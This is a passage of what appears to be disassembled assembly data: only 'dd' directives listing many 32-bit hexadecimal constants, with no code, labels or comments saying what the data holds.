		dd 0A3774A86h, 0EB050068h, 0F8E445CBh, 0D5A40164h, 8835C549h
		dd 0F0002B91h, 0EBBBE26Bh, 20C90ECh, 6965CC0Fh,	48829D15h
		dd 14227509h, 948E5788h, 64F8FC92h, 192140B1h, 63D1021h
		dd 99F13D78h, 160B7316h, 0C0288944h, 15054A55h,	1E729E12h
		dd 0BFF310F0h, 0A9009C45h, 5739C299h, 71BC3AE1h, 18262900h
		dd 942104DFh, 0F8A2985Eh, 347EE989h, 28BAE573h,	75EC6658h
		dd 8850A600h, 60018BECh, 7A520332h, 9853393Bh, 0A77384CCh
		dd 7E145434h, 0C0862526h, 95251911h, 2200CC67h,	61D91480h
		dd 9A7809A9h, 9850C11Fh, 926E7B0Fh, 0F36F8062h,	2A68C055h
		dd 7C341817h, 3B0B02BDh, 0B92FDB65h, 7814885Fh,	1B9BA502h
		dd 2724E429h, 5464CD74h, 91494300h, 61470EDEh, 0BB90913Dh
		dd 155B8000h, 0F67ECA4h, 5CE7481Fh, 49237982h, 2685CC9h
		dd 4B256D1Eh, 96054444h, 0D1E91C95h, 30F9BCCCh,	2E422841h
		dd 5E0039D6h, 385FC713h, 7D6DAB74h, 655B01A7h, 7BCC8A85h
		dd 608337Fh, 3533FD41h,	0D170002Eh, 8F6B464Ch, 5E3A6CB0h
		dd 55D70BC8h, 9F88B9BEh, 0C3FC3810h, 75236000h,	0A1015B3Ah
		dd 1EE80312h, 0AA0B8444h, 9C08EA85h, 0B8F81631h, 0B0B35A00h
		dd 11D4B800h, 0FA7AC722h, 0C4DC1C17h, 8C86E16h,	487600EEh
		dd 76ABF7Fh, 433F032Ah,	4A5202DBh, 701E062Eh, 0B41F2048h
		dd 3CF07A13h, 4300DCA2h, 511B9CFAh, 7200DD0Ah, 61A65EDh
		dd 57E75Ch, 3F5B3278h, 0F1101E21h, 50129330h, 0BCB72311h
		dd 0E5C7C4h, 0A8A4DBCAh, 8F829607h, 2BE9A011h, 801CF380h
		dd 0A92B96AAh, 320255E2h, 9844AC29h, 0C010FD09h, 628A341Ah
		dd 804CC584h, 0BA0305A9h, 25029589h, 0BE49B8B5h, 820C5986h
		dd 2057AC7Dh, 48D90889h, 42AC814Bh, 72D0E006h, 708B9F11h
		dd 790AE064h, 0A606BFC8h, 5114551Eh, 8B680B08h,	103471F1h
		dd 0EB788795h, 403C54BBh, 0FC718A3Ah, 7011F227h, 4F55F0B8h
		dd 984C82E2h, 43C83257h, 7683A499h, 52184BA8h, 7FF8E2F8h
		dd 507D17Fh, 72B3B9EDh,	0B5F1CE01h, 91000462h, 0AE4618Fh
		dd 3D5FE3CCh, 4700ACF2h, 1E2B10BEh, 7D1F0804h, 7E809654h
		dd 7548B472h, 97FC29D5h, 8F83BEC4h, 0AFB9D20Eh,	0D46E95D9h
		dd 6F05A051h, 0B2FD65EEh, 0A4120C16h, 26A058A8h, 7F005727h
		dd 0AE3320FEh, 7C72A7Eh, 7993C530h, 0BCF9DBB5h,	9CE0F80Fh
		dd 27A06295h, 0D0B0E3D1h, 7DE3BFDh, 9F27C071h, 0BCE8EAA2h
		dd 45111287h, 1CBEC080h, 98B9E001h, 0F1001591h,	86883735h
		dd 1314F4D5h, 2750FD1Ch, 44F0A08Ch, 0E6C53EE1h,	0F1810117h
		dd 12DB6A19h, 0C88C7EE0h, 301F5E68h, 286CA758h,	1B43F47Ch
		dd 20B6D116h, 48E311BCh, 10FC3707h, 0BB85897Dh,	7ED90800h
		dd 0BE5B97F0h, 6B1D08CCh, 0A0C8DC17h, 3757004Fh, 0B1DDDFB8h
		dd 660263EDh, 0D9EB8BFDh, 0B5C84038h, 0B66E4FDEh, 0FBC30038h
		dd 0F7B1B4Eh, 0EAC7004Fh
		dd 0CD71B9F8h, 2F00E28Fh, 0DD6E28B6h, 2DDF1925h, 74D1A205h
		dd 7C0C7182h, 42005462h, 937F891Dh, 87FA9968h, 0C4B7C740h
		dd 94AD72AAh, 0C9CF4050h, 0C00996Dh, 32A99E29h,	5A16B605h
		dd 3CD88CD5h, 0EF395F00h, 44256470h, 0A5EB1F17h, 0C9C61212h
		dd 3E7C30ACh, 6008B84Ah, 2C54A721h, 0A960F468h,	7E06BDFh
		dd 3085B908h, 14689109h, 80523BF0h, 5A481219h, 8F4536Eh
		dd 43802168h, 1C0D2A3Ah, 122CB902h, 1F84F812h, 0FE0BC037h
		dd 148C6129h, 400C9C2Eh, 1D065C24h, 68B50801h, 79ADB416h
		dd 519D2870h, 5EF440B8h, 0BE2EF8ECh, 6100501Fh,	9AE78F53h
		dd 6B5B0134h, 1268BD09h, 0C6086431h, 2C4C1CBDh,	1F2EA6h
		dd 43BB6E19h, 81008253h, 0F77EBF11h, 0C249E8Ch,	0D6093E68h
		dd 22845898h, 14246E01h, 0E6123B1Bh, 500820C8h,	8A10A0DBh
		dd 0EF1C4046h, 7F4016EEh, 383071F5h, 3ECC1E11h,	0A84D158Bh
		dd 0F6098C0Ch, 4EB53070h, 495600D4h, 12EE5A7Ah,	6518A4A1h
		dd 118994D6h, 426E04E4h, 0BBCE0981h, 25701827h,	3C3AB58h
		dd 1712D60Dh, 0E5D0C1B7h, 6825D966h, 354111Dh, 3C84150Ch
		dd 14156E06h, 0C600DC39h, 57F0BCCFh, 871F6A36h,	6340BFE8h
		dd 44D53F9Eh, 4B6D3E62h, 0EE27F4CCh, 0A04EA4D1h, 29E3262Ch
		dd 31C0005Ch, 4BAF9601h, 0A4048043h, 25752D2Fh,	54B030BEh
		dd 0A04A9F1Dh, 673BBC8Ah, 0ED9EAC00h, 6839D0D7h, 1B663D03h
		dd 0C0112D72h, 0B02E8FE1h, 0C4101210h, 0CC9007FDh, 1F2C4FDDh
		dd 0D75C6E91h, 7A547EF8h, 71440AF0h, 251A4E69h,	0C7B040BCh
		dd 1C59EEDDh, 936496E0h, 9301F29h, 0F57755BFh, 35856F05h
		dd 0DCA83E12h, 0EB529680h, 44956B81h, 3A6200E0h, 9775A04h
		dd 1598D4E9h, 460DD098h, 0F8AB40F8h, 112E0C68h,	0F4FB0110h
		dd 0E118B869h, 0ED0FD8D4h, 88F2084Bh, 0FF913Ah,	9485F36Fh
		dd 0A94CFDB7h, 92A1A604h, 0F0428Dh, 887320E4h, 0B640489Eh
		dd 0A2D91Ah, 0CF808ECEh, 455E25DFh, 84FB330Bh, 0B30F6FCh
		dd 3CC61069h, 2F449A7Ah, 32260F5Ch, 6F205D0Dh, 0CBF76C2h
		dd 5551D302h, 80B21982h, 0BB2707CEh, 0EC1E1D72h, 3EA74548h
		dd 0A52BC0AEh, 0B0006BE7h, 497A9AC2h, 97C98h, 0F0E66694h
		dd 71E0B4DFh, 0B30C5776h, 11B507F1h, 14A45098h,	172E3088h
		dd 0ECB3AA60h, 5684900h, 344C372Fh, 70780035h, 6F82FEB8h
		dd 1812146Dh, 9F06E515h, 1990F07h, 0E359A5DAh, 0CCC2C0F3h
		dd 5D00AA97h, 0F0E95E2Ah, 1046DE5h, 89EF854Bh, 8A6E0DF1h
		dd 14829711h, 0EA66606h, 3B161D51h, 12983074h, 0B20E077Fh
		dd 9E081C41h, 928E2D07h, 0BD34C4D0h, 0BF7F0061h, 671ACEAEh
		dd 1400076Bh, 238A7BE7h, 36DA3D7h, 92EFBA52h, 0EBA85DA6h
		dd 3B3AFB22h, 64F968AEh, 0E0248E8Eh, 4561A376h,	509307C7h
		dd 13C046ADh, 311EA866h, 0ED8EC31Eh, 6DB4A1C7h,	19801007h
		dd 5D4115E1h, 6C0ABC5Ch, 0E240A1E9h, 201B9C0Dh,	0B02920h
		dd 78D39FA3h, 0AB45E23h, 557DF000h, 0CC972D9Eh,	0A428C571h
		dd 0A8804066h, 808B3ACEh, 0B9A5390Eh, 68C0C0C8h, 63E7D377h
		dd 0CFB048C3h, 34C13900h, 0BFCD240Dh, 0ADAF0EACh, 7F2129BEh
		dd 202D7A62h, 0FC12E549h, 0F702ED47h, 60166DB7h, 61A667FCh
		dd 0CA37C913h, 81BCE4h,	670E9AD7h, 31233842h, 0E9185BFBh
		dd 0F21AD832h, 1B04DF00h, 5D88F8F1h, 3F3DE478h,	3507AF3Ch
		dd 667E111Ch, 9D07A1CAh, 55941825h, 72344B20h, 0AB7002D3h
		dd 91FCB822h, 0E71D5FE0h, 92F4B750h, 3C39C163h,	8DE1EFB4h
		dd 0D7076Fh, 1CF552A9h,	81850DF3h, 0C6F95F00h, 0CAD6A310h
		dd 182634ECh, 0CEAC0828h, 0BE406844h, 0F49B20A6h, 6BCC6E00h
		dd 0F5FF10CDh, 91BC05ECh, 0D4BC540h, 104011FCh,	0ED159A44h
		dd 18629B32h, 0B82120BFh, 1C7EEC12h, 4015DE0Ch,	296769FAh
		dd 1AC1D9Eh, 90E0EB21h,	9B436086h, 175A5401h, 0A067071Ch
		dd 0C0013022h, 0E13A8923h, 8130D194h, 27858219h, 91F49CE4h
		dd 6B3903DEh, 0EFAD6652h, 34854B0h, 7967A430h, 81E90Dh
		dd 0ED59231Ah, 9CAD12ECh, 1DFBEE00h, 432ABBD0h,	7AB400F7h
		dd 7372FDD2h, 74F8FC5Bh, 0D9C360EDh, 0A09C2B00h, 0AC16B91Eh
		dd 0A2A8004Eh, 0FEF7021Dh, 77007180h, 727649FDh, 0F269BBEEh
		dd 0CAB403BFh, 3A3DD3FBh, 740F18EEh, 60C0DBF5h,	0FE18129Eh
		dd 60A5E886h, 20323981h, 79099D1Ch, 5F8746h, 7478D5C8h
		dd 0A0FE7A42h, 0CF76C30h, 8EF9CBAEh, 0F5505B59h, 604B2258h
		dd 325E0CF0h, 0F621EF1Fh, 0D8B02727h, 7208C28h,	0B073FB64h
		dd 1BF4304Ch, 0C503A42Eh, 6F81E649h, 0EE3000C0h, 0E7023421h
		dd 5E00F81Dh, 967944F3h, 1EFE0EE3h, 307E7054h, 0F35CF799h
		dd 96894203h, 0A0A9454Ah, 33711C4Eh, 6481F95Ah,	2DFA34C0h
		dd 3F04CE00h, 0D3CD1650h, 30220045h, 0D61B2A82h, 60573FFh
		dd 0B4F46E53h, 0C7E88002h, 0ECCEE134h, 7EA4998Ch, 0E600A279h
		dd 9BDD119Dh, 18B01CC0h, 28BC1F5Bh, 7F44A54Eh, 46A400FFh
		dd 6DA964C2h, 0F21D7BDCh, 213147FDh, 98570183h,	0B9454F80h
		dd 0CB0A3D96h, 0B47BAAh, 683D54D2h, 5B6E26C2h, 0A54FD30Ch
		dd 534183h, 19C9ECE1h, 222961BFh, 64C4C21Ch, 0A5B10C3Dh
		dd 0D22988h, 5FFB464Eh,	4DF2E2D8h, 0F149FE00h, 506CB413h
		dd 95D0698h, 79785E1Ch,	10760800h, 47736858h, 0C6660D02h
		dd 0E0907ABDh, 451CC56Ch, 405DD315h, 0B0F35745h, 5F3CE021h
		dd 0F9024022h, 0FBD0E002h, 0C36C5660h, 9F7B453Dh, 9D80AC8Ah
		dd 0D3C012EEh, 3FF300CAh, 1C2C308Dh, 41C0775Dh,	0F2499D8Eh
		dd 9A79008Fh, 1DAFFDCEh, 2B542DC8h, 0A7006FB8h,	0C613E677h
		dd 51703575h, 0CAF3087Fh, 805C4149h, 3DB80F15h,	0F5008C75h
		dd 61E1D859h, 98A64FCBh, 0D007598h, 0BE8F6A83h,	4AB725h
		dd 0C4D210D8h, 0F587CACCh, 0B3BB2B3Eh, 0EF359FAh, 0D4DBC0E0h
		dd 0A7C3CEA1h, 0F589DC5Ch, 6C563C00h, 0F3A87D0Fh, 0CA9600B7h
		dd 0F6054186h, 0BD005453h, 0AD6FCCA0h, 1D0DAA2h, 483C9E20h
		dd 2378FDCBh, 0B17A0004h, 0A45500Fh, 0B5123CF7h, 13416B80h
		dd 0AD47BA34h, 0F12CB000h, 0F0654093h, 0F3D40EB5h, 0EFA58FB8h
		dd 55CC0EF6h, 73A4B940h, 6D3D16BEh, 0FFC81371h,	393F0C00h
		dd 0A8C4D776h, 37824E4h, 0FDB5F494h, 7810BE82h,	671C1CD3h
		dd 0DA44C14Fh, 415D03F1h, 0E44DFF54h, 991588DFh, 7CA8FECBh
		dd 484FD03Ah, 3D461BD0h, 6E193A68h, 199301Fh, 0F598C079h
		dd 0F06DD1B2h, 36F88B1Ch, 0EBE94E00h, 9E39977Bh, 32F4003Ah
		dd 0C16C1B7Eh, 0B2769643h, 0DFF8412h, 3EFD0843h, 5D79188Eh
		dd 4E2C6986h, 0FFA21401h, 2E2AEFC5h, 0E21FD0h, 6F688F5Eh
		dd 3D665C2Bh, 0D61EDCF4h, 8400DDE0h, 75575834h,	3F441DB2h
		dd 56E40787h, 3CF790CFh, 5800ABC8h, 4710D4E7h, 1FBE7829h
		dd 0EA7A9ECh, 144CE23Dh, 0D644FA50h, 0D9304435h, 0CA026610h
		dd 0F69B3778h, 0C5B5C008h, 2407807Ch, 62DF687Fh, 0F0E1C190h
		dd 638E85Dh, 9BD75186h,	0F81631F3h, 0CB002E73h,	4C333276h
		dd 0B78F0001h, 7486ED77h, 841856E8h, 4431F438h,	0C97D6040h
		dd 46FF72AAh, 0B798E81Ch, 4513D641h, 8DC3D4Ch, 0E2E407AEh
		dd 0D08A4E55h, 99973DBh, 19AFA331h, 0E8F0F180h,	0BE5E30B5h
		dd 0E65B03C9h, 9E05F00h, 1EF08DD2h, 0F73D1F21h,	0EA414208h
		dd 1343D5D7h, 888A1051h, 216F608h, 0BDE12C21h, 0E47C0880h
		dd 1EF0AC82h, 2E50E680h
		dd 34FB25D0h, 840C0138h, 57C748D1h, 0D200D828h,	0D5B56031h
		dd 51AA3A33h, 0B7543D8Ah, 68B130A5h, 8E00AF9Fh,	94D158EDh
		dd 0F682CBD2h, 0B2B00CF4h, 0A29B85Eh, 0F8C7D807h, 0C8A0457Ah
		dd 88F26Dh, 3A65D163h, 7728BC92h, 0F495F60Fh, 80E08F8Dh
		dd 7F0FF54Ah, 33C001CBh, 6E79B3CFh, 0E4DF82Dh, 8A1148h
		dd 0DBB70FD5h, 1865D333h, 769F189Eh, 0E4127113h, 1C1E015Dh
		dd 5489BB58h, 58430089h, 0C8A6C932h, 663AC5B1h,	9B21E504h
		dd 6926F420h, 1DC2FE2Ah, 0F9C9DFA5h, 0C7D69E03h, 44C0159Dh
		dd 0B4600366h, 1035A739h, 0C9276h, 89099BF6h, 47E5BA3Dh
		dd 873F728h, 0CE586E01h, 7CD8F3A7h, 32843186h, 0DD0379E5h
		dd 68C25E93h, 4F513DECh, 0DAF39A86h, 48A17143h,	0A708EBh
		dd 1D6F18D0h, 65F3EED7h, 682BF928h, 45F244h, 8E293485h
		dd 0C6543F5Eh, 0AC06397Fh, 7FB16F19h, 11AB4260h, 0CD1BF733h
		dd 90E30865h, 3C2DEC80h, 7C991F00h, 0FB7BDE4Ch,	0EF6A0170h
		dd 16F966CFh, 0AE3883E6h, 0E7F4045h, 80CDD1E1h,	5F7E1AC0h
		dd 0C118BB0Dh, 0B6595C67h, 0C9C906Eh, 0ED9C38B8h, 9900F179h
		dd 6652074h, 1855F48Eh,	0D9BFF566h, 0D66FF312h,	6D340041h
		dd 98F54CE2h, 2EA829E5h, 0AC3B00CCh, 6EA276B0h,	12CD6F03h
		dd 0A89B2D65h, 18D5C507h, 49576DC1h, 14004CE0h,	6726A845h
		dd 7F618E2h, 29A736A3h,	0CE38D0CAh, 0B00CAFD2h,	0A9F09BD5h
		dd 2E500B6h, 4EC21A19h,	951D4462h, 0BD1C1FA7h, 0F5D8A518h
		dd 666406ADh, 38E323FAh, 5E73C214h, 4A289880h, 146F01E2h
		dd 3C67E036h, 0D689E0B7h, 7A1B6519h, 0F889D5E9h, 54186815h
		dd 1C00C77Ch, 84A32285h, 0DE92EAh, 0D379E5F1h, 0B842882Eh
		dd 4964E8C8h, 9D035401h, 11BE5Dh, 7AF03E40h, 0C5E876F6h
		dd 25D9F359h, 0ACE430E0h, 3F06E376h, 781136EBh,	9CF60021h
		dd 0DC1ED621h, 0F72848E5h, 0E7140874h, 22F8CF70h, 7E3F3064h
		dd 699DA939h, 0B1CC2500h, 3B847A6Ah, 0CD81C6F8h, 0EF003166h
		dd 31AF10ACh, 0C3B50Dh,	7D9AF205h, 0CD01A47Ch, 4E299DEFh
		dd 0D7E52900h, 99AD679h, 6FBAA3B3h, 0A833BC81h,	0D729805Bh
		dd 85406960h, 389B507Dh, 0D34A0E4Bh, 0BC205D59h, 0E9A69431h
		dd 0FEE55002h, 60802B01h, 2467A97Bh, 11D07152h,	0F6650A6Bh
		dd 0AE8090B3h, 3B7A4367h, 77B7C18h, 0BF7108B6h,	80B2B777h
		dd 3AA0FE9Dh, 7020124Ch, 18B744h, 33A46D9Ch, 0B524DACEh
		dd 0C6B84E09h, 400C926Bh, 29CB7924h, 8A68636Fh,	80A87B3Fh
		dd 0CBF25AF8h, 0D0023632h, 8C6FE5Bh, 76108111h,	78303E85h
		dd 0CDAB88B4h, 0B2737E03h, 248940E3h, 0B79C29h,	8A09C298h
		dd 43006B5Eh, 0B782B505h, 249B4A33h, 19687093h,	701249CFh
		dd 131644F0h, 0F420408Ah, 1F5B98Ch, 334D4E23h, 0C8459C95h
		dd 0A31C357Bh, 13C05F85h, 0B3D40CF3h, 65D80044h, 89F06EB5h
		dd 0F9C3F19Bh, 0D0DF2B47h, 0C1FA7Dh, 401E01F4h,	0F8B85D14h
		dd 3C129D26h, 16E17708h, 14EC209Ch, 8C0043B5h, 0F2547018h
		dd 1C827B07h, 0B399D95h, 2492199Ch, 0C10E5446h,	0A0477D5Fh
		dd 1F709DEBh, 58620133h, 0EA69C273h, 0B7944072h, 0F9C0C35Eh
		dd 2D67C44Ah, 3E901EEh,	27B4E12Eh, 0C059ED78h, 1D096CCCh
		dd 82E23626h, 60AE6488h, 0C1BD5F00h, 466C4141h,	533AF874h
		dd 2AC59900h, 6598FEADh, 9FC911Dh, 0CC11A0F6h, 0EEB706Bh
		dd 0C1086D61h, 422626Eh, 91007C22h, 0DE3D1D50h,	12E03932h
		dd 20A9345Ah, 0B762D918h, 49836B35h, 19122809h,	0BD3058B8h
		dd 8E343CB7h, 62690E03h, 0E8883CDAh, 429F3AFBh,	0FE9440BFh
		dd 18652893h, 9BF80054h, 0D681DDE8h, 9174E040h,	1217490h
		dd 526F00B6h, 685C1AD7h, 936D70C6h, 19641880h, 0D72E207Ah
		dd 66A4E309h, 0A7AC10FCh, 0DBA81E44h, 2BAF403Dh, 0D6034505h
		dd 92196D01h, 61CCBFF3h, 3E95C180h, 227D0F3Fh, 2D3CE1Dh
		dd 10EC9BCBh, 2101ECh, 8709702Dh, 0D6B13DE4h, 803C9B58h
		dd 0DD5F9142h, 0D5BA0198h, 61D9E854h, 3A9452B7h, 0C4007E0h
		dd 0E0E5F32Ch, 0E0203B64h, 0CB0025A7h, 0E36E0D36h, 9A1B1D4h
		dd 0CE1A04A2h, 0F0003C44h, 0C35894A6h, 0F41C66B9h, 8C890960h
		dd 0A800A07Eh, 0AB561E65h, 0D587C80Fh, 0D94E0118h, 0D6F84A27h
		dd 122CB1C4h, 13801254h, 0EAF84856h, 88284D80h,	0EE1ACA14h
		dd 54F0B0C1h, 915EA87Ah, 4D003F40h, 41449AA1h, 402E27C7h
		dd 0B8424046h, 2306E81h, 3B1D6EE2h, 0F8C8EEFBh,	2088F41Eh
		dd 36850B3Ah, 20225ADEh, 0C6118DE3h, 12BC0610h,	0A44DA000h
		dd 1ECCEF58h, 0A77E0045h, 0C3CD9A3Ch, 0B1358D7Ch, 0AF18B094h
		dd 13E6E38h, 3BC87B20h,	3238D8C7h, 0A735009Ch, 8CEFC5Bh
		dd 6AD507B3h, 9428604h,	81B8B80Eh, 6D00EF85h, 4EEE9F11h
		dd 367B3C4h, 0DF0CCB3Ah, 0CF819426h, 0C4BC2208h, 688278F8h
		dd 6EB700A9h, 0AAF845AFh, 0DA3D3DF0h, 64CD2E39h, 0D4A16647h
		dd 0C1FC108Ah, 0B8916Bh, 3AE130BCh, 3D58D750h, 3BCC020Ch
		dd 823CD8CBh, 83AB3364h, 18B1DD18h, 21B95E71h, 0E313E714h
		dd 0BC04CA7Eh, 7CB7C9F6h, 90B7D600h, 13105802h,	4A0F85E4h
		dd 7F57D4Dh, 4F404E57h,	4475D7h, 25825112h, 6979D6A4h
		dd 0B42E1B7Fh, 0F660C8EAh, 0FA85E17Ah, 254CB8CAh, 70381444h
		dd 0D2E45BA5h, 6E088084h, 12CE3070h, 5CB43439h,	5541909h
		dd 0B92C0CB8h, 1ED007AAh, 4072DE99h, 854808DBh,	9DDF390Fh
		dd 3702007Ch, 1C3B660Eh, 4295B2E0h, 3F84AF4Ah, 0D701B446h
		dd 0DBF33370h, 0AC30B162h, 3A1204D6h, 0A0146AB0h, 3388B3D0h
		dd 17DCE0C3h, 40B82C7Dh, 3A900480h, 5E00D7E8h, 0F0D301A5h
		dd 751AD33h, 0D819458Ah, 0F2E07066h, 0B260DC32h, 306F1358h
		dd 0B53D3CC6h, 69000348h, 0E9AB9354h, 4802014Bh, 0B86E7595h
		dd 4864CDh, 0CCD0D135h,	9A291952h, 9C08E108h, 207680F2h
		dd 53B6E04Fh, 1B154Ch, 0D5E7E282h, 0FD68DDB1h, 28645461h
		dd 70C12ED0h, 0D5B641DCh, 882CF713h, 0DE82F835h, 107C1408h
		dd 0D4B0419Dh, 4C42CD45h, 883F246Ch, 67009990h,	0A5CF6358h
		dd 3D73EAAh, 90D2029Eh,	0C28DBA9Fh, 1C15E644h, 34BF1465h
		dd 0F8546628h, 3EC4A404h, 0F798BCEDh, 371211CCh, 0A5F6BD0Fh
		dd 3DD1004Ch, 0EB0B8D7h, 76DCF38Ch, 387CECB5h, 0CD50BDC2h
		dd 0BE3203ACh, 33A9F914h, 5A968390h, 60800900h,	0F7520D10h
		dd 0A81B0375h, 67CD0CBFh, 0B539891Ch, 0F1CC5B80h, 722A54Bh
		dd 841325FDh, 0DA2352CDh, 4861F46Ah, 65A43271h,	0BC1CD550h
		dd 0FD651262h, 0D0B0DDC5h, 590044CAh, 7B160FB3h, 933AB5h
		dd 0D56CC130h, 8540DD12h, 36F0B8ABh, 0BA00879Bh, 0E281414Eh
		dd 128947B0h, 0C0F675h,	53911850h, 5CB13285h, 77D7F306h
		dd 4AFC8041h, 0B1999002h, 0A44040Ch, 127C8117h,	9357FC90h
		dd 150C7178h, 875A72Fh,	0A0414885h, 2C40D98Dh, 0ACDC803Ch
		dd 0ED6AC5h, 0A1EC5FC8h, 1D9CE764h, 0B3A8001h, 12D344E5h
		dd 48E7CC31h, 0DE5089h,	6C46B581h, 190211F4h, 0D69A95F0h
		dd 84DC603Bh, 0DC64A936h, 0CB196D18h, 8158BE99h, 0C88BA08h
		dd 118300DDh, 0FF25326Dh, 8048C167h, 0A84429B0h, 0FBC33A80h
		dd 0F047441h, 8D6FFF93h, 511C809Fh, 6A40D8B6h, 0A14803E4h
		dd 5F040E0h, 143A6D24h,	6703A021h, 81397A1Ah, 0B02CD17Bh
		dd 0EBF19D83h, 0F49530C9h, 3C012FC0h, 0D7B009B9h, 302C6B16h
		dd 376D0205h, 0B774C87Bh
		dd 5B90D8B9h, 70E2F314h, 243C8412h, 4894C730h, 8E77482h
		dd 0A5C459B0h, 0C0812484h, 0E3144BA8h, 1002FCB8h, 0C17A1B67h
		dd 80E8456Eh, 40524DFDh, 44008C08h, 0BA4C610Fh,	1226FCEh
		dd 3BC63AC7h, 0A8795CC4h, 0E842F031h, 0CF1E12h,	0C1D17A2Ch
		dd 61C15872h, 2363D64Bh, 0FBDAE430h, 4069C201h,	383D5210h
		dd 772FA805h, 7004E6B8h, 6D4176DBh, 75BF201Bh, 3B2020FCh
		dd 0A8E0D52Eh, 7D341027h, 33F42469h, 7EC900FBh,	17E1CF34h
		dd 0C264B503h, 0F86E659Ah, 7F84D7DDh, 69576435h, 97123E5h
		dd 7EF0F834h, 0BB38E480h, 8F1E4F21h, 6014AFB3h,	0A7331408h
		dd 22B84C14h, 0D6A803C1h, 0D20A3AC2h, 2E070698h, 7D4BF90Bh
		dd 0B6C0048Eh, 409D1840h, 3A2413DCh, 76406C15h,	304F42A5h
		dd 0A729445Fh, 2C0FAA34h, 0E08E98DEh, 39D73FAEh, 23E2006Ah
		dd 559E96F6h, 0D002333Ah, 3C939DEBh, 24B44440h,	395A8B1h
		dd 7C2186FCh, 0E82DAEE9h, 1890C76Ch, 0F1348411h, 0A45FCD15h
		dd 0AB071C3Bh, 27BF69EBh, 0E6B3338Ah, 0B6FE5000h, 3780F08h
		dd 0B56D00A8h, 7C37A5FAh, 4E71BCA9h, 9665E000h,	18056389h
		dd 0EF9B33CEh, 0C8889F61h, 683F1B24h, 28935812h, 2100A4C5h
		dd 8053D4BFh, 0F6A30A40h, 0E476058Ch, 0FB865CD7h, 0CB7375C1h
		dd 9A1F6DCh, 53D3155Ah,	6FAAB0A0h, 0D05B72DCh, 0EA33F406h
		dd 0B7440771h, 4EF365D6h, 62B06216h, 1CE27420h,	407A3A98h
		dd 89FB1F00h, 0DF1467E9h, 7650D260h, 0BAC968C1h, 0FF6516ECh
		dd 0C45427D1h, 8A3F4570h, 6EAB840h, 50673Dh, 8419A5B1h
		dd 8A87F481h, 801EA33Fh, 4C5BB9D2h, 13F375AFh, 0D0B7BAD8h
		dd 55BC9DD0h, 0B8FA3C32h, 0A4D29Bh, 1FE98BD2h, 5A81F97Ch
		dd 0C61AB500h, 7F11F11Eh, 0B6BB05E0h, 81B7EBD4h, 1DE3690h
		dd 48833713h, 87404510h, 7A6A6917h, 1258DC32h, 3900D471h
		dd 0F36DD5A2h, 216B67CDh, 0BF2D807Eh, 900E136Fh, 0C06EA159h
		dd 0B347E069h, 0E79F3B08h, 0FB8AE12h, 48813E2Bh, 8063CD0Dh
		dd 57731641h, 0C29D8Ah,	81C1B9C8h, 2B66CF22h, 0E04EF3ECh
		dd 0C05EFC46h, 0D0293F89h, 0BCB0B687h, 0A37B400Ch, 97014912h
		dd 0C1F65064h, 6180A067h, 0E9DF74Eh, 0C40A279Ah, 0E7FA1A65h
		dd 7D767A07h, 8054285h,	140375F6h, 823F44h, 79EC3479h
		dd 0C5B5CBD1h, 47CD900h, 3DDC30F4h, 84B601C3h, 0C8B8D571h
		dd 707031B1h, 394AD8FCh, 0CDAAC447h, 0C94F8088h, 6E7FE369h
		dd 260C3E58h, 4E0CCCF8h, 637571DEh, 8504833h, 0BE9E74F8h
		dd 0D6A150C0h, 120CACBFh, 8B73DD0h, 6F82E4D0h, 63ABD750h
		dd 0A8E9C018h, 993600D5h, 0AA73DDE7h, 34E8DEBBh, 0BE4FDA00h
		dd 6677ED90h, 41D09C11h, 0F8B6F491h, 0A900F0C1h, 5F656CBAh
		dd 9867B5F8h, 1B1A14A3h, 9E00BDBDh, 0AD0F347Dh,	703A3C19h
		dd 0EC3E0082h, 5CB4A985h, 1D06F692h, 47759EEAh,	2570DBB7h
		dd 0A79407E7h, 0E13801B8h, 44B82174h, 0EF02C74h, 47166300h
		dd 0F607CEDBh, 7A660057h, 0EC6F552Eh, 0C090D126h, 0A317A0B0h
		dd 201ED735h, 0DB007951h, 84F4986Ah, 0B806B469h, 774D6FF8h
		dd 65E50670h, 68E74AF9h, 601FAB2Eh, 57133404h, 0F68C0313h
		dd 0C4CFE5A8h, 4018C93Ah, 2F6FCA14h, 0A8D69924h, 0DC8EFB84h
		dd 8970C205h, 3F084334h, 0F24CCDA5h, 104329h, 4358E319h
		dd 6CE2440Ch, 0EB9B22h,	9CCD3802h, 0C3D6529h, 0C88454Ah
		dd 4FB40028h, 498ECA39h, 6503C8A9h, 0B28809E1h,	82FD90BEh
		dd 38404C3Eh, 22418083h, 0E088ADE9h, 0A10025CEh, 0C9949ECAh
		dd 7FFC30C4h, 5F481887h, 93BDB1C7h, 37321900h, 0C2E95157h
		dd 9FDB1DB9h, 0B3690040h, 8EA79A3Eh, 34445C2Ah,	0EAC65801h
		dd 0F13A2B1Fh, 0CCEC22EDh, 90B6004Bh, 390E9210h, 0C6048879h
		dd 0D0366F18h, 2FA940C0h, 10B846h, 5CCE7394h, 1965856Ch
		dd 0DCB29B07h, 3E80FE57h, 3D6858h, 32D5B1EFh, 0C1D6CFD3h
		dd 0F7177343h, 6D34229Eh, 0BE659CE0h, 0B31C070Fh, 418442BCh
		dd 1C0B2BF6h, 0E1000894h, 820A1106h, 0C8F2AAh, 6CD7CD69h
		dd 312664A2h, 42980300h, 16EC9EF6h, 0B1AB862h, 0C0A92043h
		dd 146DB800h, 0B000CE3Eh, 333D55ABh, 0EE95F1DBh, 7E4F063Fh
		dd 0B169CD7Ah, 8F84ED00h, 0FFE63520h, 0E8ACF674h, 36B40161h
		dd 1B7115Ah, 4BE0715Dh,	7262008Ch, 5D5743DAh, 0A00701ACh
		dd 84C7608Bh, 58083744h, 4066C47Ch, 0A82481C3h,	0F8E0CA7h
		dd 0A501A61Ch, 4E6413C0h, 0F090142Eh, 87EBBB39h, 39AD9EA9h
		dd 9D8308AAh, 0CADE4C41h, 131C7049h, 20327B10h,	0B4CFDB70h
		dd 0B023D55Bh, 0B61DD87Fh, 0FA7C0EF7h, 1ED7418Dh, 4E118079h
		dd 0D6A60A73h, 88BCE307h, 0C04CE438h, 30A1843Ch, 0C4F61081h
		dd 0B7900116h, 43EF1DBAh, 3240F966h, 0B37C00D0h, 0E50F165Bh
		dd 0C42D0132h, 0D69BC824h, 86A44213h, 910BF11h,	570B5964h
		dd 38A52B8h, 0ADC6E0F6h, 18DCBC0Ah, 72470FE0h, 511100AAh
		dd 33CC3A38h, 0ACB8F39Eh, 0DF815496h, 599DD681h, 40571192h
		dd 715DE1F0h, 0A500C82Ch, 2AE045E3h, 19500D90h,	0F1E99B7Bh
